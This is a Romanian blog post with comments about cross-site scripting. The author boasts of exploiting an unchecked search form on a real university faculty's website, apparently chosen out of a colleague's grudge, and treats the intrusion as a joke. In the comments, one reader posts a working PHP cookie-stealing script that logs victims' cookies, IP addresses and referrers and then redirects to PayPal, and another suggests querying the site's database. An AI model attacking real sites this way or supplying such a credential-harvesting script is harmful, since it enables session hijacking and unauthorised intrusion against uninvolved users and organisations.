XSS, sau ce am învățat de la Tudor
12 02 2008Tudor, acest mare guru al programării web, ne preda aici o lecție de XSS în 3 pași simpli. Pentru că el chiar știe ce face, și-a permis să le-o dea peștilor mari, adică site-uri cu adevărat importante. Oricum, domeniul l-a fascinat destul de mult astfel încât să creeze o mini serie de post-uri cu aceeași temă, XSS-ul. Colecția se poate viziona aici. Urmând fascinanta lui lecție, eu am reușit să realizez asta:
- la indicația unui coleg care are pică pe Facultatea de Inginerie Electrică, am ales site-ul lor;
- m-am uitat la form-ul de căutare, unde conținutul unei variabile nu era verificat;
- le-o dau!™ (screenshot).
Mersi, Tudor! Se pare că lecția a fost foarte educativă.








Si, ai avut orgasm?
Încă nu… Tu așa de ușor ai ajuns la…?
Andrei Bala: tu termini aşa repede?
Sincer, nu vad utilitatea acestei smecherii… altceva in afara de a introduce o poza in pagina lor de rezultate la search, ce mai stie?
Din greșeală am șters răspunsul meu. Îți spuneam doar să te uiți mai bine pe ce a spus Tudor despre XSS. De altfel te poți uita și pe wikipedia.
drop table % ? >
Sau fa niste query pe db si vezi ce date isi tin pe acolo. In felul asta poti sa faci modificari care sa fie vizibile si fara linkuri speciale.
Nu ma baga in seama … vb diavolul din mine.
Nu le-ai dat decat o limba la caca, marea inginerie pe care ai impresia ca aifacuto tu mai sus nu se intampla de fapt pe serverul lor e numai in mintea ta ca sa zic asa…
browserul iti incarca o imagine pt. ca ii spui tu sa o incarce si gata inca o data nu serverul lor incarca imaginea ci doar browserul tau.
Singurul lucru inteligent pe care poti sa il faci cu XSS sau CSS este sa
aaa nu am facut infat inca…
revenind …este sa fauri niste cookie-uri
Ai putea folosi chiar unscript de genul:
<?php
$cookie = $_GET['c'];
$ip = getenv (’REMOTE_ADDR’);
$date=date(”j F, Y, g:i a”);;
$referer=getenv (’HTTP_REFERER’);
$fp = fopen(’cookies.html’, ‘a’);
fwrite($fp, ‘Cookie: ‘.$cookie.’ IP: ‘ .$ip. ‘ Date and Time: ‘ .$date. ‘ Referer: ‘.$referer.”);
fclose($fp);
header (”Location: https://www.paypal.com/cgi-bin/webscr?cmd=xpt/cps/account/DCIntro-outside&nav=1.3.1“);
?>
Hai numa’ bine sanatate!
@watchme: Nu eşti chiar cel mai deştept de la tine din clasă, nu? Ideea era să arăt că folosind greşelile lor de cod se pot executa scripturi maliţioase… XSS asta înseamnă, executarea codului la client, nu pe server… Dar probabil faci parte din categoria marilor guru care-şi tocesc buricele degetelor scriind cod până merge, nu scriind cod ştiind că merge… Cam aşa a fost şi cu enter-ul apăsat… Ai fost mai greu de cap şi a trebuit să scrii în 2 commenturi aceeaşi idee…
Have fun, dude! Data viitoare citeşte mai atent şi încearcă să înţelegi substraturile…